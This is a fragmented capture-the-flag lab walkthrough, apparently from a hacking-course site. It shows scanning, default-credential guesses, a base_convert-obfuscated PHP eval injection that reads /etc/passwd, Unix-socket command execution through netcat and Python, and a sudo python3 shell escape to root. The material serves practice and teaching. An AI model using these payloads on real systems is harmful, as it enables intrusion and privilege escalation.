Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
nmap -Pn -sS -sV -O -p- <target-ip>
http://<target-ip>:8080
admin
, Admin
, ADMIN
, adm1n
admin
/ 2024-11-27
pi()
and base_convert()
eval()
in the backgroundbase_convert(1751504350,10,36)(base_convert(784,10,36))
system(ls)
when convertedsystem(cat /etc/passwd)
backup_5698832747.txt
system(cat bac*)
using base_convert encodingbase_convert(1751504350,10,36)(base_convert(37907361743,10,36)(base_convert(477080140104,10,36).base_convert(474903309826,10,36)))
/tmp
directory for any temporary files or sockets/tmp/dev.sock
temp.txt
file in /tmp
with information about the socket/tmp/dev.sock
using netcat or Python'exec'
, 'read'
, and 'write'
prefixes# Try traditional netcat (may not work on all systems)
nc /tmp/dev.sock
# Or try with -U flag (GNU netcat)
nc -U /tmp/dev.sock
# Alternative: use socat if available
socat - UNIX-CONNECT:/tmp/dev.sock
import socket
def exec_command(command):
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/dev.sock")
s.send(f"exec {command}\n".encode())
response = s.recv(4096)
print(response.decode())
def read_file(filename):
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/dev.sock")
s.send(f"read {filename}\n".encode())
response = s.recv(4096)
print(response.decode())
# List developer's home directory
exec_command("ls -la /home/developer")
# Read the note.txt file
read_file("/home/developer/note.txt")
# List developer's home directory
python3 -c "import socket; s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM); s.connect('/tmp/dev.sock'); s.send(b'exec ls -la /home/developer\n'); print(s.recv(4096).decode())"
# Read the note.txt file
python3 -c "import socket; s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM); s.connect('/tmp/dev.sock'); s.send(b'read /home/developer/note.txt\n'); print(s.recv(4096).decode())"
exec
command to list the contents of the developer's home directory:exec ls -la /home/developer
/home/developer
directory, including the note.txt
fileread
command to read the note.txt file:read /home/developer/note.txt
'sudo -l'
pip
and python3
with sudosudo python3 -c 'import os; os.system("/bin/sh")'
/root/flag-root.txt
/home/ctf/flag-user.txt
cat /home/ctf/flag-user.txt
/root/flag-root.txt
cat /root/flag-root.txt
This challenge demonstrates a sophisticated attack chain involving:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.